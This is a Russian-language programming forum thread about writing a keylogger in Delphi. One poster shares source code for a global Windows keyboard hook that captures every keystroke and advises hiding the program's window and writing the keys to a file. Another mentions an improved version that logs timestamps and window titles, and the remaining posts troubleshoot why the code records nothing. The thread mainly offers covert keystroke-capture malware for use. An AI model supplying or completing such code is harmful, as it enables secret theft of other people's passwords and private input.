keylogger-клавиатурный шпион

[Stilet]

Вот есть пример легкий хука без ДЛЛ:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var         h:hhook;
  Form1: TForm1;

implementation

{$R *.dfm}

    function Proc(

    code:integer;
    wParam:WPARAM;
    lParam:LPARAM
   ):lresult;stdcall;
var c:array[0..255] of char;
 s:string;f:file of char;
    nScan:integer;
begin
 if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);
  Form1.Memo1.Lines.Text:=Form1.Memo1.Lines.Text+c[0];
 end;
 result:=callnexthookex(h,code,wparam,lparam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
unhookwindowshookex(h);
end;

end.

Просто пропиши
Application.ShowMainForm:=false; и сделай сохранение в файл.

И нечего флудить.

[betirsolt]

Form1.Memo1.Lines.Text:=Form1.Memo1 .Lines.Text+c[0];
end.

вот это что значит???он что в мемо должен записывать все нажатые клавиши????
если не трудно объясните подробнее пожалуйста

[Stilet]

он что в мемо должен записывать все нажатые клавиши????

Совершенно верно. Замени это на запись в файл иле чего там нужно.

[Вавел из ГМТУ]

Я брал за основу тему:
http://programmersforum.ru/showthrea...ight=keylogger

В итоге улучшил код добавив: более читабельный лог, временые метки, заголовок окна где осуществляется ввод.
И оформил это отдельным модулем.

Такчто советую.

[betirsolt]

Сообщение от Stilet

Совершенно верно. Замени это на запись в файл иле чего там нужно.

но он не сохраняет даже в мемо.. ты уверен что таким образом можно установить глобальный хук???

[Вавел из ГМТУ]

Что значит не сохраняет?

[betirsolt]

Сообщение от Вавел из ГМТУ

Что значит не сохраняет?

ну в смысле в мемо не записывает все что я на клаве набираю

[Вавел из ГМТУ]

Например?

Stilet немного "урезал" свой первоначальный код. См. ссылку.

[Stilet]

См. ссылку.

у-у-у я и забыл что уже выкладывал его...

[betirsolt]

Сообщение от Вавел из ГМТУ

Например?

Stilet немного "урезал" свой первоначальный код. См. ссылку.

я оттуда весь код скопировал но он ни в мемо ни в форм кэпшн ниче не пишет...это весь код???мне ниче не надо добавить или что то еще???я просто создаю новый проект и копирую все это в юнит